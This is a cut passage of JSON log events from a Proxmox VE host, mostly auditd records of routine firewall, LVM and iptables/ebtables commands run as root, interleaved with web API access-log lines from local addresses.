exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965347683,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965347.683:65227): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899562f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62657 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964084761,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964084.761:59508): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d71b9a70 a1=64f8d514f5e0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57149 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966095365,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966095.365:68405): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65690 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964475640,"@rawstring":"node=pve type=EXECVE msg=audit(1781964475.640:61188): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965331977,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:11 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 916"} {"@timestamp":1781966085783,"@rawstring":"node=pve type=EXECVE msg=audit(1781966085.783:68389): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964670222,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964670.222:62075): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59546 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965347683,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965347.683:65226): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899562f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62657 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964082864,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964082.864:59507): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57146 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966094697,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966094.697:68402): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73e0510 a1=64f8d685d860 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65689 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964475635,"@rawstring":"node=pve type=EXECVE msg=audit(1781964475.635:61186): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965331977,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:11 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781966085776,"@rawstring":"node=pve type=EXECVE msg=audit(1781966085.776:68388): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964670222,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964670.222:62074): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59546 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965345393,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965345.393:65222): arch=c000003e syscall=59 success=no exit=-2 a0=7fff3b70cc30 a1=56d61c21ad10 a2=56d61c1fd680 a3=5 items=1 ppid=62650 pid=62651 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964082853,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964082.853:59504): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57145 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966094666,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966094.666:68401): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73adb10 a1=64f8d73dc9d0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65688 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964475630,"@rawstring":"node=pve type=EXECVE msg=audit(1781964475.630:61185): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965331977,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:11 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781966085768,"@rawstring":"node=pve type=EXECVE msg=audit(1781966085.768:68387): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964665214,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964665.214:62067): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59543 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965345300,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965345.300:65204): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe3561fbd0 a1=57c75f6341c0 a2=57c75f612680 a3=5 items=1 ppid=62631 pid=62632 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964077846,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964077.846:59501): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57144 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966090351,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966090.351:68400): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65685 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964475625,"@rawstring":"node=pve type=EXECVE msg=audit(1781964475.625:61184): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965331977,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:10 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 504"} {"@timestamp":1781966085760,"@rawstring":"node=pve type=EXECVE msg=audit(1781966085.760:68386): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964665214,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964665.214:62066): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59543 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965342671,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965342.671:65194): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789956230 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62621 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964077839,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964077.839:59498): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57143 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966090339,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966090.339:68397): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65684 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964475618,"@rawstring":"node=pve type=EXECVE msg=audit(1781964475.618:61183): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965329978,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:09 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 932"} {"@timestamp":1781966085753,"@rawstring":"node=pve type=EXECVE msg=audit(1781966085.753:68384): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964665207,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964665.207:62064): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59542 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965342671,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965342.671:65193): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789956230 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62621 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964075832,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964075.832:59495): arch=c000003e syscall=59 success=yes exit=0 a0=56c046dcd0e0 a1=56c046dc9e60 a2=56c046dab680 a3=5 items=2 ppid=57136 pid=57142 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966085800,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966085.800:68394): arch=c000003e syscall=59 success=yes exit=0 a0=6045113b8ed0 a1=6045113b5c50 a2=604511397680 a3=5 items=2 ppid=65677 pid=65683 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964475613,"@rawstring":"node=pve type=EXECVE msg=audit(1781964475.613:61182): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965329978,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:09 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781966085748,"@rawstring":"node=pve type=EXECVE msg=audit(1781966085.748:68383): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964665206,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964665.206:62063): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59542 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965342655,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965342.655:65191): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789956170 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62620 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964075829,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964075.829:59494): arch=c000003e syscall=59 success=yes exit=0 a0=56c01bc2cac8 a1=7ffe2f9f9a70 a2=56c046dab680 a3=56c01bc1024e items=2 ppid=57136 pid=57138 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966085797,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966085.797:68393): arch=c000003e syscall=59 success=yes exit=0 a0=6044d1cfbac8 a1=7ffe5c607df0 a2=604511397680 a3=6044d1cdf24e items=2 ppid=65677 pid=65679 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964475608,"@rawstring":"node=pve type=EXECVE msg=audit(1781964475.608:61181): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965329978,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:08 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1101"} {"@timestamp":1781966085740,"@rawstring":"node=pve type=EXECVE msg=audit(1781966085.740:68382): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964665154,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964665.154:62059): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc3f87def0 a1=5602b50261c0 a2=5602b5004680 a3=5 items=1 ppid=59535 pid=59536 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965342655,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965342.655:65190): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789956170 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62620 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964075827,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964075.827:59493): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe2f9f9a30 a1=56c046db2310 a2=56c046dab680 a3=5 items=2 ppid=57136 pid=57137 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966085795,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966085.795:68392): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe5c607db0 a1=60451139e310 a2=604511397680 a3=5 items=2 ppid=65677 pid=65678 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964475600,"@rawstring":"node=pve type=EXECVE msg=audit(1781964475.600:61180): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965328753,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:07 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 501"} {"@timestamp":1781966085735,"@rawstring":"node=pve type=EXECVE msg=audit(1781966085.735:68381): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964665076,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964665.076:62041): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd16059060 a1=588b20c151c0 a2=588b20bf3680 a3=5 items=1 ppid=59516 pid=59517 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965337648,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965337.648:65188): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899560b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62619 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964075822,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964075.822:59491): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57136 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966085790,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966085.790:68390): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65677 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964475592,"@rawstring":"node=pve type=EXECVE msg=audit(1781964475.592:61179): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965328753,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:07 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 907"} {"@timestamp":1781966085728,"@rawstring":"node=pve type=EXECVE msg=audit(1781966085.728:68380): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964660192,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964660.192:62021): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59499 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965337648,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965337.648:65187): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899560b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62619 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964075814,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964075.814:59490): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57135 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966085783,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966085.783:68389): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65676 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964475589,"@rawstring":"node=pve type=EXECVE msg=audit(1781964475.589:61178): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965328753,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:07 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781966085720,"@rawstring":"node=pve type=EXECVE msg=audit(1781966085.720:68379): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964660192,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964660.192:62020): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59499 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965337642,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965337.642:65185): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955ff0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62618 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964075807,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964075.807:59489): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57134 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966085776,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966085.776:68388): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65675 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964475586,"@rawstring":"node=pve type=EXECVE msg=audit(1781964475.586:61177): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965328753,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:07 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781966085713,"@rawstring":"node=pve type=EXECVE msg=audit(1781966085.713:68378): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964660182,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964660.182:62018): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59498 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965337642,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965337.642:65184): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955ff0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62618 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964075799,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964075.799:59488): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57133 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966085768,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966085.768:68387): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65674 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964475585,"@rawstring":"node=pve type=EXECVE msg=audit(1781964475.585:61176): argc=1 a0=\"date\""} {"@timestamp":1781965326925,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:05 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1101"} {"@timestamp":1781966085706,"@rawstring":"node=pve type=EXECVE msg=audit(1781966085.706:68377): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964660182,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964660.182:62017): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 